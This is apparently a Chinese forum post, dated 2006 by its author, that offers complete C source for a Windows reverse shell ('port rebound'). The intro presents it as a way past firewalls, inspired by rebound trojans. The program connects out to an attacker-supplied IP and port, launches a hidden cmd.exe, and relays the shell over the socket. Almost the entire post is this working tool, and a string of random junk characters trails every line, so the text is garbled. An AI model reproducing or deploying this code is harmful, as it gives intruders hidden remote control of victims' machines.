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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 nb,+!)+  
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/* ============================== ;>Q.r{P  
Rebound port in Windows NT 8-cCWo c  
By wind,2006/7 ZI/Ia$O  
===============================*/ 0\2#(^  
#include T5b*Ia  
#include /Dk`vn2eN  
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#pragma comment(lib,"wsock32.lib") /<-@8CC<  
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void OutputShell(); C])b 3tM,7  
SOCKET sClient; \1R<GBC4  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; QkU6eE<M*  
(D1$&  
void main(int argc,char **argv) moT*r?l  
{ mO(A'p "b  
WSADATA stWsaData; $>=?'wr  
int nRet; CZ4Nw]dtR  
SOCKADDR_IN stSaiClient,stSaiServer; a15kFun  
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if(argc != 3) aq-R#q  
{ ,3~[cE<4  
printf("Useage:\n\rRebound DestIP DestPort\n"); ?|,-Bft3  
return; ~![J~CkPS  
} |QcE5UC  
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WSAStartup(MAKEWORD(2,2),&stWsaData); H". [&VP5Z  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `@)>5gW&p  
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stSaiClient.sin_family = AF_INET; 7ts`uI<E@7  
stSaiClient.sin_port = htons(0); oW\kJ>!  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); xR`M#d5"  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) fNnX{Wq  
{ :7Jpt3  
printf("Bind Socket Failed!\n"); LCouDk(=`  
return; Y `ySNC  
} )E>nr Z  
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stSaiServer.sin_family = AF_INET; 49d02AU%  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Q$XNs%7w5,  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); u-%|ZSg  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *iwV B^^$  
{ NL} Q3Vv1.  
printf("Connect Error!"); <2,NWn.  
return; tS:/:0HnA)  
} SQ0?M\D7  
OutputShell(); R?L? 6~/q  
} 5[5|_H+0  
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void OutputShell() R+b~m!5 8  
{ kX)QHNzP  
char szBuff[1024]; lGZf_X)gA^  
SECURITY_ATTRIBUTES stSecurityAttributes; ScCA8JgY  
OSVERSIONINFO stOsversionInfo; t$zeB OI)  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; B+r$_L&I  
STARTUPINFO stStartupInfo; VAnP3:  
char *szShell; 7I4<Dj  
PROCESS_INFORMATION stProcessInformation; Lh;U2pA  
unsigned long lBytesRead; Y6:b  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); KJ#SE|  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); r<9G}9  
stSecurityAttributes.lpSecurityDescriptor = 0; b9RJ>K  
stSecurityAttributes.bInheritHandle = TRUE; Da-U@e!  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); X`Jo XNqm  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Ls6C*<8  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); s8V:;$ !  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u ?7^+z  
stStartupInfo.wShowWindow = SW_HIDE; ,,=VF(@G  
stStartupInfo.hStdInput = hReadPipe; U+-R2w]#q_  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; WG]`Sy  
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GetVersionEx(&stOsversionInfo); FxdWJ|rN9D  
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switch(stOsversionInfo.dwPlatformId) LMHii Os,  
{ 4Is Wp!`W  
case 1: -Dy":/Bk  
szShell = "command.com"; ?M B Od9  
break; ":!1gC  
default: 1YScZ  
szShell = "cmd.exe"; WX4 f3Um  
break; 9Yhl q$;g  
} /*e6('9s  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); zK>}x=  
4L/nEZ!Nsu  
send(sClient,szMsg,77,0); G#YBfPmr  
while(1) p}p}!M|  
{ FBeo@  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); W4q |55  
if(lBytesRead) QB"+B]rV  
{ ~A_1he~  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 95mwDHbA  
send(sClient,szBuff,lBytesRead,0); ]jSRO30H3<  
} j~Mx^ivwj  
else *:?XbtIK u  
{ `_e5pW=:>  
lBytesRead=recv(sClient,szBuff,1024,0); _0o65?F  
if(lBytesRead<=0) break; [L=M=;{4  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); @k9n0Qe|F  
} 1vinO!  
} GG %*d]  
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return; ($Q|9>5,  
}
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